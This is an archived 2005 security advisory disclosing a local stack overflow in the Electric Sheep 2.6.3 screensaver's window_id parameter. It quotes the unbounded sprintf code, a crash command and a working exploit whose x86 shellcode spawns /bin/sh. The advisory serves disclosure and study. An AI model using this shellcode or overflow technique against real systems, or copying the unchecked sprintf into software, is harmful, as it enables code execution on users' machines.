[NEWS] Electric Sheep Window-Id Local Stack Overflow
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 26 Dec 2005 18:55:35 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Electric Sheep Window-Id Local Stack Overflow
------------------------------------------------------------------------
SUMMARY
" <http://electricsheep.org/> Electric Sheep is a free, open source screen
saver run by thousands of people all over the world. It can be installed
on any ordinary PC or Mac."
Electric Sheep does not perform proper bounds checking on the window_id
command line parameter, allowing a malicious attacker to run arbitrary
code on the vulnerable machine with the permissions of the running user.
DETAILS
Vulnerable Systems:
* Electric Sheep version 2.6.3
Vulnerable Code:
>From file electricsheep.c
419:
default_background(char *more) {
char ob[MAXBUF];
char pbuf[MAXBUF];
char qbuf[MAXBUF];
if (nobg || (!on_root && !window_id)) return;
if (more)
sprintf(ob, "-merge -at 500,0 s.tif",
splash_prefix, more);
else
ob[0] = 0;
if (window_id)
sprintf(qbuf, "-windowid %s", window_id); //no bounds checking on
qbuf
Because window_id comes directly from the command line, a malicious user
has the potential to supply a window_id larger than MAXBUF and corrupt
surrounding memory. The vulnerability can be seen by executing the
following command.
electricsheep -window-id `perl -e '{print "A"x"40000";}'`
Bad integer argument for the windowid option Usage: xsetbg [global
options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
Segmentation fault
Exploit Code:
An exploit spawing /bin/sh on SUSE Linux
narain@(none):~/electricsheep-2.6.3> electricsheep -window-id `perl -
e '{print "\x90"x"200"; print "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; print "B"x"532";print
"\x80\xc4\xfd\xbf"; print "C"x"39219";}'`
Bad integer argument for the windowid option
Usage: xsetbg [global options] {[image options] image_name ...}
Type `xsetbg -help [option ...]' for information on a particular option,
or `xsetbg -help' to enter the interactive help facility.
subprocess failure: splash0, 256=1<<8+0
sh-3.00$ whoami
narain
sh-3.00$
This local exploit to the sheep client does not pose a significant threat
as electric sheep does not setuid(0). However, local exploits may be used
as mechanisms for subvert command execution once a system has been
compromised or used to create backdoors
This vulnerability was discovered during coursework performed for
"Penetration Testing & Vulnerability Analysis" offered at Polytechnic
University (http://www.poly.edu) during the Fall 2005 semester.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:MichaelAiello@xxxxxxxxxxxxxxxxx> Michael Aiello and
<mailto:dguido@xxxxxxxxx> Daniel Guido.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Linux Kernel Socket Buffer Memory Exhaustion DoS
- Next by Date: [NT] Interaction SIP Proxy Heap Corruption Vulnerability (Long REGISTER)
- Previous by thread: [UNIX] Linux Kernel Socket Buffer Memory Exhaustion DoS
- Next by thread: [NT] Interaction SIP Proxy Heap Corruption Vulnerability (Long REGISTER)
- Index(es):
Relevant Pages
- [NEWS] VICE Emulator Format String Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... VICE is "a program that
runs on a UNIX, ... There is a format string vulnerability in the handling of the monitor
... is interpreted as a command for the output, ... (Securiteam) - [NEWS] MythControl Arbitrary Code Execution Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... MythControl Arbitrary Code
Execution Vulnerability ... MythControlServer is "a small server application for use
with MythControl ... In sendToMythTV the command that is to be sent might overflow the
sendStr ... (Securiteam) - [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability
in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by
default. ... permissions and thus granted all local users the privilege to execute the
... (Securiteam) - [UNIX] SCO Multiple Local Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer
overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges.
... (Securiteam) - [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing
application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability
in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled
by ... (Securiteam)